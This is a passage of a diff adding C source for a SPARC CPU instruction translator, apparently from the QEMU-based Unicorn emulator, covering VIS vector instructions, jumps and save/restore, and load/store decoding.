cpu_src2_64); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x02e: /* VIS I fcmpeq32 */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1_64 = gen_load_fpr_D(dc, rs1); + cpu_src2_64 = gen_load_fpr_D(dc, rs2); + gen_helper_fcmpeq32(tcg_ctx, cpu_dst, cpu_src1_64, cpu_src2_64); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x031: /* VIS I fmul8x16 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, gen_helper_fmul8x16); + break; + case 0x033: /* VIS I fmul8x16au */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, gen_helper_fmul8x16au); + break; + case 0x035: /* VIS I fmul8x16al */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, gen_helper_fmul8x16al); + break; + case 0x036: /* VIS I fmul8sux16 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, gen_helper_fmul8sux16); + break; + case 0x037: /* VIS I fmul8ulx16 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, gen_helper_fmul8ulx16); + break; + case 0x038: /* VIS I fmuld8sux16 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, gen_helper_fmuld8sux16); + break; + case 0x039: /* VIS I fmuld8ulx16 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, gen_helper_fmuld8ulx16); + break; + case 0x03a: /* VIS I fpack32 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_gsr_fop_DDD(dc, rd, rs1, rs2, gen_helper_fpack32); + break; + case 0x03b: /* VIS I fpack16 */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1_64 = gen_load_fpr_D(dc, rs2); + cpu_dst_32 = gen_dest_fpr_F(dc); + gen_helper_fpack16(tcg_ctx, cpu_dst_32, *(TCGv *)tcg_ctx->cpu_gsr, cpu_src1_64); + gen_store_fpr_F(dc, rd, cpu_dst_32); + break; + case 0x03d: /* VIS I fpackfix */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1_64 = gen_load_fpr_D(dc, rs2); + cpu_dst_32 = gen_dest_fpr_F(dc); + gen_helper_fpackfix(tcg_ctx, cpu_dst_32, *(TCGv *)tcg_ctx->cpu_gsr, cpu_src1_64); + gen_store_fpr_F(dc, rd, cpu_dst_32); + break; + case 0x03e: /* VIS I pdist */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDDD(dc, rd, rs1, rs2, gen_helper_pdist); + break; + case 0x048: /* VIS I faligndata */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_gsr_fop_DDD(dc, rd, rs1, rs2, gen_faligndata); + break; + case 0x04b: /* VIS I fpmerge */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, gen_helper_fpmerge); + break; + case 0x04c: /* VIS II bshuffle */ + CHECK_FPU_FEATURE(dc, VIS2); + gen_gsr_fop_DDD(dc, rd, rs1, rs2, gen_helper_bshuffle); + break; + case 0x04d: /* VIS I fexpand */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, gen_helper_fexpand); + break; + case 0x050: /* VIS I fpadd16 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, gen_helper_fpadd16); + break; + case 0x051: /* VIS I fpadd16s */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FFF(dc, rd, rs1, rs2, gen_helper_fpadd16s); + break; + case 0x052: /* VIS I fpadd32 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, gen_helper_fpadd32); + break; + case 0x053: /* VIS I fpadd32s */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FFF(dc, rd, rs1, rs2, tcg_gen_add_i32); + break; + case 0x054: /* VIS I fpsub16 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, gen_helper_fpsub16); + break; + case 0x055: /* VIS I fpsub16s */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FFF(dc, rd, rs1, rs2, gen_helper_fpsub16s); + break; + case 0x056: /* VIS I fpsub32 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, gen_helper_fpsub32); + break; + case 0x057: /* VIS I fpsub32s */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FFF(dc, rd, rs1, rs2, tcg_gen_sub_i32); + break; + case 0x060: /* VIS I fzero */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_dst_64 = gen_dest_fpr_D(dc, rd); + tcg_gen_movi_i64(tcg_ctx, cpu_dst_64, 0); + gen_store_fpr_D(dc, rd, cpu_dst_64); + break; + case 0x061: /* VIS I fzeros */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_dst_32 = gen_dest_fpr_F(dc); + tcg_gen_movi_i32(tcg_ctx, cpu_dst_32, 0); + gen_store_fpr_F(dc, rd, cpu_dst_32); + break; + case 0x062: /* VIS I fnor */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, tcg_gen_nor_i64); + break; + case 0x063: /* VIS I fnors */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FFF(dc, rd, rs1, rs2, tcg_gen_nor_i32); + break; + case 0x064: /* VIS I fandnot2 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, tcg_gen_andc_i64); + break; + case 0x065: /* VIS I fandnot2s */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FFF(dc, rd, rs1, rs2, tcg_gen_andc_i32); + break; + case 0x066: /* VIS I fnot2 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DD(dc, rd, rs2, tcg_gen_not_i64); + break; + case 0x067: /* VIS I fnot2s */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FF(dc, rd, rs2, tcg_gen_not_i32); + break; + case 0x068: /* VIS I fandnot1 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs2, rs1, tcg_gen_andc_i64); + break; + case 0x069: /* VIS I fandnot1s */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FFF(dc, rd, rs2, rs1, tcg_gen_andc_i32); + break; + case 0x06a: /* VIS I fnot1 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DD(dc, rd, rs1, tcg_gen_not_i64); + break; + case 0x06b: /* VIS I fnot1s */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FF(dc, rd, rs1, tcg_gen_not_i32); + break; + case 0x06c: /* VIS I fxor */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, tcg_gen_xor_i64); + break; + case 0x06d: /* VIS I fxors */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FFF(dc, rd, rs1, rs2, tcg_gen_xor_i32); + break; + case 0x06e: /* VIS I fnand */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, tcg_gen_nand_i64); + break; + case 0x06f: /* VIS I fnands */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FFF(dc, rd, rs1, rs2, tcg_gen_nand_i32); + break; + case 0x070: /* VIS I fand */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, tcg_gen_and_i64); + break; + case 0x071: /* VIS I fands */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FFF(dc, rd, rs1, rs2, tcg_gen_and_i32); + break; + case 0x072: /* VIS I fxnor */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, tcg_gen_eqv_i64); + break; + case 0x073: /* VIS I fxnors */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FFF(dc, rd, rs1, rs2, tcg_gen_eqv_i32); + break; + case 0x074: /* VIS I fsrc1 */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1_64 = gen_load_fpr_D(dc, rs1); + gen_store_fpr_D(dc, rd, cpu_src1_64); + break; + case 0x075: /* VIS I fsrc1s */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1_32 = gen_load_fpr_F(dc, rs1); + gen_store_fpr_F(dc, rd, cpu_src1_32); + break; + case 0x076: /* VIS I fornot2 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, tcg_gen_orc_i64); + break; + case 0x077: /* VIS I fornot2s */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FFF(dc, rd, rs1, rs2, tcg_gen_orc_i32); + break; + case 0x078: /* VIS I fsrc2 */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1_64 = gen_load_fpr_D(dc, rs2); + gen_store_fpr_D(dc, rd, cpu_src1_64); + break; + case 0x079: /* VIS I fsrc2s */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1_32 = gen_load_fpr_F(dc, rs2); + gen_store_fpr_F(dc, rd, cpu_src1_32); + break; + case 0x07a: /* VIS I fornot1 */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs2, rs1, tcg_gen_orc_i64); + break; + case 0x07b: /* VIS I fornot1s */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FFF(dc, rd, rs2, rs1, tcg_gen_orc_i32); + break; + case 0x07c: /* VIS I for */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_DDD(dc, rd, rs1, rs2, tcg_gen_or_i64); + break; + case 0x07d: /* VIS I fors */ + CHECK_FPU_FEATURE(dc, VIS1); + gen_ne_fop_FFF(dc, rd, rs1, rs2, tcg_gen_or_i32); + break; + case 0x07e: /* VIS I fone */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_dst_64 = gen_dest_fpr_D(dc, rd); + tcg_gen_movi_i64(tcg_ctx, cpu_dst_64, -1); + gen_store_fpr_D(dc, rd, cpu_dst_64); + break; + case 0x07f: /* VIS I fones */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_dst_32 = gen_dest_fpr_F(dc); + tcg_gen_movi_i32(tcg_ctx, cpu_dst_32, -1); + gen_store_fpr_F(dc, rd, cpu_dst_32); + break; + case 0x080: /* VIS I shutdown */ + case 0x081: /* VIS II siam */ + // XXX + goto illegal_insn; + default: + goto illegal_insn; + } +#else + goto ncp_insn; +#endif + } else if (xop == 0x37) { /* V8 CPop2, V9 impdep2 */ +#ifdef TARGET_SPARC64 + goto illegal_insn; +#else + goto ncp_insn; +#endif +#ifdef TARGET_SPARC64 + } else if (xop == 0x39) { /* V9 return */ + TCGv_i32 r_const; + + save_state(dc); + cpu_src1 = get_src1(dc, insn); + cpu_tmp0 = get_temp_tl(dc); + if (IS_IMM) { /* immediate */ + simm = GET_FIELDs(insn, 19, 31); + tcg_gen_addi_tl(tcg_ctx, cpu_tmp0, cpu_src1, simm); + } else { /* register */ + rs2 = GET_FIELD(insn, 27, 31); + if (rs2) { + cpu_src2 = gen_load_gpr(dc, rs2); + tcg_gen_add_tl(tcg_ctx, cpu_tmp0, cpu_src1, cpu_src2); + } else { + tcg_gen_mov_tl(tcg_ctx, cpu_tmp0, cpu_src1); + } + } + gen_helper_restore(tcg_ctx, tcg_ctx->cpu_env); + gen_mov_pc_npc(dc); + r_const = tcg_const_i32(tcg_ctx, 3); + gen_helper_check_align(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp0, r_const); + tcg_temp_free_i32(tcg_ctx, r_const); + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_npc, cpu_tmp0); + dc->npc = DYNAMIC_PC; + goto jmp_insn; +#endif + } else { + cpu_src1 = get_src1(dc, insn); + cpu_tmp0 = get_temp_tl(dc); + if (IS_IMM) { /* immediate */ + simm = GET_FIELDs(insn, 19, 31); + tcg_gen_addi_tl(tcg_ctx, cpu_tmp0, cpu_src1, simm); + } else { /* register */ + rs2 = GET_FIELD(insn, 27, 31); + if (rs2) { + cpu_src2 = gen_load_gpr(dc, rs2); + tcg_gen_add_tl(tcg_ctx, cpu_tmp0, cpu_src1, cpu_src2); + } else { + tcg_gen_mov_tl(tcg_ctx, cpu_tmp0, cpu_src1); + } + } + switch (xop) { + case 0x38: /* jmpl */ + { + TCGv t; + TCGv_i32 r_const; + + t = gen_dest_gpr(dc, rd); + tcg_gen_movi_tl(tcg_ctx, t, dc->pc); + gen_store_gpr(dc, rd, t); + gen_mov_pc_npc(dc); + r_const = tcg_const_i32(tcg_ctx, 3); + gen_helper_check_align(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp0, r_const); + tcg_temp_free_i32(tcg_ctx, r_const); + gen_address_mask(dc, cpu_tmp0); + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_npc, cpu_tmp0); + dc->npc = DYNAMIC_PC; + } + goto jmp_insn; +#if !defined(CONFIG_USER_ONLY) && !defined(TARGET_SPARC64) + case 0x39: /* rett, V9 return */ + { + TCGv_i32 r_const; + + if (!supervisor(dc)) + goto priv_insn; + gen_mov_pc_npc(dc); + r_const = tcg_const_i32(tcg_ctx, 3); + gen_helper_check_align(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp0, r_const); + tcg_temp_free_i32(tcg_ctx, r_const); + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_npc, cpu_tmp0); + dc->npc = DYNAMIC_PC; + gen_helper_rett(tcg_ctx, tcg_ctx->cpu_env); + } + goto jmp_insn; +#endif + case 0x3b: /* flush */ + if (!((dc)->def->features & CPU_FEATURE_FLUSH)) + goto unimp_flush; + /* nop */ + break; + case 0x3c: /* save */ + save_state(dc); + gen_helper_save(tcg_ctx, tcg_ctx->cpu_env); + gen_store_gpr(dc, rd, cpu_tmp0); + break; + case 0x3d: /* restore */ + save_state(dc); + gen_helper_restore(tcg_ctx, tcg_ctx->cpu_env); + gen_store_gpr(dc, rd, cpu_tmp0); + break; +#if !defined(CONFIG_USER_ONLY) && defined(TARGET_SPARC64) + case 0x3e: /* V9 done/retry */ + { + switch (rd) { + case 0: + if (!supervisor(dc)) + goto priv_insn; + dc->npc = DYNAMIC_PC; + dc->pc = DYNAMIC_PC; + gen_helper_done(tcg_ctx, tcg_ctx->cpu_env); + goto jmp_insn; + case 1: + if (!supervisor(dc)) + goto priv_insn; + dc->npc = DYNAMIC_PC; + dc->pc = DYNAMIC_PC; + gen_helper_retry(tcg_ctx, tcg_ctx->cpu_env); + goto jmp_insn; + default: + goto illegal_insn; + } + } + break; +#endif + default: + goto illegal_insn; + } + } + break; + } + break; + case 3: /* load/store instructions */ + { + unsigned int xop = GET_FIELD(insn, 7, 12); + /* ??? gen_address_mask prevents us from using a source + register directly. Always generate a temporary. */ + TCGv cpu_addr = get_temp_tl(dc); + + tcg_gen_mov_tl(tcg_ctx, cpu_addr, get_src1(dc, insn)); + if (xop == 0x3c || xop == 0x3e) { + /* V9 casa/casxa : no offset */ + } else if (IS_IMM) { /* immediate */ + simm = GET_FIELDs(insn, 19, 31); + if (simm != 0) { + tcg_gen_addi_tl(tcg_ctx, cpu_addr, cpu_addr, simm); + } + } else { /* register */ + rs2 = GET_FIELD(insn, 27, 31); + if (rs2 != 0) { + tcg_gen_add_tl(tcg_ctx, cpu_addr, cpu_addr, gen_load_gpr(dc, rs2)); + } + } + if (xop < 4 || (xop > 7 && xop < 0x14 && xop != 0x0e) || + (xop > 0x17 && xop <= 0x1d ) || + (xop > 0x2c && xop <= 0x33) || xop == 0x1f || xop == 0x3d) { + TCGv cpu_val = gen_dest_gpr(dc, rd); + + switch (xop) { + case 0x0: /* ld, V9 lduw, load unsigned word */ + gen_address_mask(dc, cpu_addr); + tcg_gen_qemu_ld32u(dc->uc, cpu_val, cpu_addr, dc->mem_idx); + break; + case 0x1: /* ldub, load unsigned byte */ + gen_address_mask(dc, cpu_addr); + tcg_gen_qemu_ld8u(dc->uc, cpu_val, cpu_addr, dc->mem_idx); + break; + case 0x2: /* lduh, load unsigned halfword */ + gen_address_mask(dc, cpu_addr); + tcg_gen_qemu_ld16u(dc->uc, cpu_val, cpu_addr, dc->mem_idx); + break; + case 0x3: /* ldd, load double word */ + if (rd & 1) + goto illegal_insn; + else { + TCGv_i32 r_const; + TCGv_i64 t64; + + save_state(dc); + r_const = tcg_const_i32(tcg_ctx, 7); + /* XXX remove alignment check */ + gen_helper_check_align(tcg_ctx, tcg_ctx->cpu_env, cpu_addr, r_const); + tcg_temp_free_i32(tcg_ctx, r_const); + gen_address_mask(dc, cpu_addr); + t64 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_qemu_ld64(dc->uc, t64, cpu_addr, dc->mem_idx); + tcg_gen_trunc_i64_tl(tcg_ctx, cpu_val, t64); + tcg_gen_ext32u_tl(tcg_ctx, cpu_val, cpu_val); + gen_store_gpr(dc, rd + 1, cpu_val); + tcg_gen_shri_i64(tcg_ctx, t64, t64, 32); + tcg_gen_trunc_i64_tl(tcg_ctx, cpu_val, t64); + tcg_temp_free_i64(tcg_ctx, t64); + tcg_gen_ext32u_tl(tcg_ctx, cpu_val, cpu_val); + } + break; + case 0x9: /* ldsb, load signed byte */ + gen_address_mask(dc, cpu_addr); + tcg_gen_qemu_ld8s(dc->uc, cpu_val, cpu_addr, dc->mem_idx); + break; + case 0xa: /* ldsh, load signed halfword */ + gen_address_mask(dc, cpu_addr); + tcg_gen_qemu_ld16s(dc->uc, cpu_val, cpu_addr, dc->mem_idx); + break; + case 0xd: /* ldstub -- XXX: should be atomically */ + { + TCGv r_const; + + gen_address_mask(dc, cpu_addr); + tcg_gen_qemu_ld8s(dc->uc, cpu_val, cpu_addr, dc->mem_idx); + r_const = tcg_const_tl(tcg_ctx, 0xff); + tcg_gen_qemu_st8(dc->uc, r_const, cpu_addr, dc->mem_idx); + tcg_temp_free(tcg_ctx, r_const); + } + break; + case 0x0f: + /* swap, swap register with memory. Also atomically */ + { + TCGv t0 = get_temp_tl(dc); + CHECK_IU_FEATURE(dc, SWAP); + cpu_src1 = gen_load_gpr(dc, rd); + gen_address_mask(dc, cpu_addr); + tcg_gen_qemu_ld32u(dc->uc, t0, cpu_addr, dc->mem_idx); + tcg_gen_qemu_st32(dc->uc, cpu_src1, cpu_addr, dc->mem_idx); + tcg_gen_mov_tl(tcg_ctx, cpu_val, t0); + } + break; +#if !defined(CONFIG_USER_ONLY) || defined(TARGET_SPARC64) + case 0x10: /* lda, V9 lduwa, load word alternate */ +#ifndef TARGET_SPARC64 + if (IS_IMM) + goto illegal_insn; + if (!supervisor(dc)) + goto priv_insn; +#endif + save_state(dc); + gen_ld_asi(dc, cpu_val, cpu_addr, insn, 4, 0); + break; + case 0x11: /* lduba, load unsigned byte alternate */ +#ifndef TARGET_SPARC64 + if (IS_IMM) + goto illegal_insn; + if (!supervisor(dc)) + goto priv_insn; +#endif + save_state(dc); + gen_ld_asi(dc, cpu_val, cpu_addr, insn, 1, 0); + break; + case 0x12: /* lduha, load unsigned halfword alternate */ +#ifndef TARGET_SPARC64 + if (IS_IMM) + goto illegal_insn; + if (!supervisor(dc)) + goto priv_insn; +#endif + save_state(dc); + gen_ld_asi(dc, cpu_val, cpu_addr, insn, 2, 0); + break; + case 0x13: /* ldda, load double word alternate */ +#ifndef TARGET_SPARC64 + if (IS_IMM) + goto illegal_insn; + if (!supervisor(dc)) + goto priv_insn; +#endif + if (rd & 1) + goto illegal_insn; + save_state(dc); + gen_ldda_asi(dc, cpu_val, cpu_addr, insn, rd); + goto skip_move; + case 0x19: /* ldsba, load signed byte alternate */ +#ifndef TARGET_SPARC64 + if (IS_IMM) + goto illegal_insn; + if (!supervisor(dc)) + goto priv_insn; +#endif + save_state(dc); + gen_ld_asi(dc, cpu_val, cpu_addr, insn, 1, 1); + break; + case 0x1a: /* ldsha, load signed halfword alternate */ +#ifndef TARGET_SPARC64 + if (IS_IMM) + goto illegal_insn; + if (!supervisor(dc)) + goto priv_insn; +#endif + save_state(dc); + gen_ld_asi(dc, cpu_val, cpu_addr, insn, 2, 1); + break; + case 0x1d: /* ldstuba -- XXX: should be atomically */ +#ifndef TARGET_SPARC64 + if (IS_IMM) + goto illegal_insn; + if (!supervisor(dc)) + goto priv_insn; +#endif + save_state(dc); + gen_ldstub_asi(dc, cpu_val, cpu_addr, insn); + break; + case 0x1f: /* swapa, swap reg with alt. memory. Also + atomically */ + CHECK_IU_FEATURE(dc, SWAP); +#ifndef TARGET_SPARC64 + if (IS_IMM) + goto illegal_insn; + if (!supervisor(dc)) + goto priv_insn; +#endif + save_state(dc); + cpu_src1 = gen_load_gpr(dc, rd); + gen_swap_asi(dc, cpu_val, cpu_src1, cpu_addr, insn); + break; + +#ifndef TARGET_SPARC64 + case 0x30: /* ldc */ + case 0x31: /* ldcsr */ + case 0x33: /* lddc */ + goto ncp_insn; +#endif +#endif +#ifdef TARGET_SPARC64 + case 0x08: /* V9 ldsw */ + gen_address_mask(dc, cpu_addr); + tcg_gen_qemu_ld32s(dc->uc, cpu_val, cpu_addr, dc->mem_idx); + break; + case 0x0b: /* V9 ldx */ + gen_address_mask(dc, cpu_addr); + tcg_gen_qemu_ld64(dc->uc, cpu_val, cpu_addr, dc->mem_idx); + break; + case 0x18: /* V9 ldswa */ + save_state(dc); + gen_ld_asi(dc, cpu_val, cpu_addr, insn, 4, 1); + break; + case 0x1b: /* V9 ldxa */ + save_state(dc); + gen_ld_asi(dc, cpu_val, cpu_addr, insn, 8, 0); + break; + case 0x2d: /* V9 prefetch, no effect */ + goto skip_move; + case 0x30: /* V9 ldfa */ + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + save_state(dc); + gen_ldf_asi(dc, cpu_addr, insn, 4, rd); + gen_update_fprs_dirty(dc, rd); + goto skip_move; + case 0x33: /* V9 lddfa */ + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + save_state(dc); + gen_ldf_asi(dc, cpu_addr, insn, 8, DFPREG(rd)); + gen_update_fprs_dirty(dc, DFPREG(rd)); + goto skip_move; + case 0x3d: /* V9 prefetcha, no effect */ + goto skip_move; + case 0x32: /* V9 ldqfa */ + CHECK_FPU_FEATURE(dc, FLOAT128); + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + save_state(dc); + gen_ldf_asi(dc, cpu_addr, insn, 16, QFPREG(rd)); + gen_update_fprs_dirty(dc, QFPREG(rd)); + goto skip_move; +#endif + default: + goto illegal_insn; + } + gen_store_gpr(dc, rd, cpu_val); +#if !defined(CONFIG_USER_ONLY) || defined(TARGET_SPARC64) + skip_move: ; +#endif + } else if (xop >= 0x20 && xop < 0x24) { + TCGv t0; + + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + save_state(dc); + switch (xop) { + case 0x20: /* ldf, load fpreg */ + gen_address_mask(dc, cpu_addr); + t0 = get_temp_tl(dc); + tcg_gen_qemu_ld32u(dc->uc, t0, cpu_addr, dc->mem_idx); + cpu_dst_32 = gen_dest_fpr_F(dc); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_dst_32, t0); + gen_store_fpr_F(dc, rd, cpu_dst_32); + break; + case 0x21: /* ldfsr, V9 ldxfsr */ +#ifdef TARGET_SPARC64 + gen_address_mask(dc, cpu_addr); + if (rd == 1) { + TCGv_i64 t64 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_qemu_ld64(dc->uc, t64, cpu_addr, dc->mem_idx); + gen_helper_ldxfsr(tcg_ctx, tcg_ctx->cpu_env, t64); + tcg_temp_free_i64(tcg_ctx, t64); + break; + } +#endif + cpu_dst_32 = get_temp_i32(dc); + t0 = get_temp_tl(dc); + tcg_gen_qemu_ld32u(dc->uc, t0, cpu_addr, dc->mem_idx); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_dst_32, t0); + gen_helper_ldfsr(tcg_ctx, tcg_ctx->cpu_env, cpu_dst_32); + break; + case 0x22: /* ldqf, load quad fpreg */ + { + TCGv_i32 r_const; + + CHECK_FPU_FEATURE(dc, FLOAT128); + r_const = tcg_const_i32(tcg_ctx, dc->mem_idx); + gen_address_mask(dc, cpu_addr); + gen_helper_ldqf(tcg_ctx, tcg_ctx->cpu_env, cpu_addr, r_const); + tcg_temp_free_i32(tcg_ctx, r_const); + gen_op_store_QT0_fpr(dc, QFPREG(rd)); + gen_update_fprs_dirty(dc, QFPREG(rd)); + } + break; + case 0x23: /* lddf, load double fpreg */ + gen_address_mask(dc, cpu_addr); + cpu_dst_64 = gen_dest_fpr_D(dc, rd); + tcg_gen_qemu_ld64(dc->uc, cpu_dst_64, cpu_addr, dc->mem_idx); + gen_store_fpr_D(dc, rd, cpu_dst_64); + break; + default: + goto illegal_insn; + } + } else if (xop < 8 || (xop >= 0x14 && xop < 0x18) || + xop == 0xe || xop == 0x1e) { + TCGv cpu_val = gen_load_gpr(dc, rd); + + switch (xop) { + case 0x4: /* st, store word */ + gen_address_mask(dc, cpu_addr); + tcg_gen_qemu_st32(dc->uc, cpu_val, cpu_addr, dc->mem_idx); + break; + case 0x5: /* stb, store byte */ + gen_address_mask(dc, cpu_addr); + tcg_gen_qemu_st8(dc->uc, cpu_val, cpu_addr, dc->mem_idx); + break; + case 0x6: /* sth, store halfword */ + gen_address_mask(dc, cpu_addr); + tcg_gen_qemu_st16(dc->uc, cpu_val, cpu_addr, dc->mem_idx); + break; + case 0x7: /* std, store double word */ + if (rd & 1) + goto illegal_insn; + else { + TCGv_i32 r_const; + TCGv_i64 t64; + TCGv lo; + + save_state(dc); + gen_address_mask(dc, cpu_addr); + r_const = tcg_const_i32(tcg_ctx, 7); + /* XXX remove alignment check */ + gen_helper_check_align(tcg_ctx, tcg_ctx->cpu_env, cpu_addr, r_const); + tcg_temp_free_i32(tcg_ctx, r_const); + lo = gen_load_gpr(dc, rd + 1); + + t64 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_concat_tl_i64(tcg_ctx, t64, lo, cpu_val); + tcg_gen_qemu_st64(dc->uc, t64, cpu_addr, dc->mem_idx); + tcg_temp_free_i64(tcg_ctx, t64); + } + break; +#if !defined(CONFIG_USER_ONLY) || defined(TARGET_SPARC64) + case 0x14: /* sta, V9 stwa, store word alternate */ +#ifndef TARGET_SPARC64 + if (IS_IMM) + goto illegal_insn; + if (!supervisor(dc)) + goto priv_insn; +#endif + save_state(dc); + gen_st_asi(dc, cpu_val, cpu_addr, insn, 4); + dc->npc = DYNAMIC_PC; + break; + case 0x15: /* stba, store byte alternate */ +#ifndef TARGET_SPARC64 + if (IS_IMM) + goto illegal_insn; + if (!supervisor(dc)) + goto priv_insn; +#endif + save_state(dc); + gen_st_asi(dc, cpu_val, cpu_addr, insn, 1); + dc->npc = DYNAMIC_PC; + break; + case 0x16: /* stha, store halfword alternate */ +#ifndef TARGET_SPARC64 + if (IS_IMM) + goto illegal_insn; + if (!supervisor(dc)) + goto priv_insn; +#endif + save_state(dc); + gen_st_asi(dc, cpu_val, cpu_addr, insn, 2); + dc->npc = DYNAMIC_PC; + break; + case 0x17: /* stda, store double word alternate */ +#ifndef TARGET_SPARC64 + if (IS_IMM) + goto illegal_insn; + if (!supervisor(dc)) + goto priv_insn; +#endif + if (rd & 1) + goto illegal_insn; + else { + save_state(dc); + gen_stda_asi(dc, cpu_val, cpu_addr, insn, rd); + } + break; +#endif +#ifdef TARGET_SPARC64 + case 0x0e: /* V9 stx */ + gen_address_mask(dc, cpu_addr); + tcg_gen_qemu_st64(dc->uc, cpu_val, cpu_addr, dc->mem_idx); + break; + case 0x1e: /* V9 stxa */ + save_state(dc); + gen_st_asi(dc, cpu_val, cpu_addr, insn, 8); + dc->npc = DYNAMIC_PC; + break; +#endif + default: + goto illegal_insn; + } + } else if (xop > 0x23 && xop < 0x28) { + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + save_state(dc); + switch (xop) { + case 0x24: /* stf, store fpreg */ + { + TCGv t = get_temp_tl(dc); + gen_address_mask(dc, cpu_addr); + cpu_src1_32 = gen_load_fpr_F(dc, rd); + tcg_gen_ext_i32_tl(tcg_ctx, t, cpu_src1_32); + tcg_gen_qemu_st32(dc->uc, t, cpu_addr, dc->mem_idx); + } + break; + case 0x25: /* stfsr, V9 stxfsr */ + { + TCGv t = get_temp_tl(dc); + + tcg_gen_ld_tl(tcg_ctx, t, tcg_ctx->cpu_env, offsetof(CPUSPARCState, fsr)); +#ifdef TARGET_SPARC64 + gen_address_mask(dc, cpu_addr); + if (rd == 1) { + tcg_gen_qemu_st64(dc->uc, t, cpu_addr, dc->mem_idx); + break; + } +#endif + tcg_gen_qemu_st32(dc->uc, t, cpu_addr, dc->mem_idx); + } + break; + case 0x26: +#ifdef TARGET_SPARC64 + /* V9 stqf, store quad fpreg */ + { + TCGv_i32 r_const; + + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_op_load_fpr_QT0(dc, QFPREG(rd)); + r_const = tcg_const_i32(tcg_ctx, dc->mem_idx); + gen_address_mask(dc, cpu_addr); + gen_helper_stqf(tcg_ctx, tcg_ctx->cpu_env, 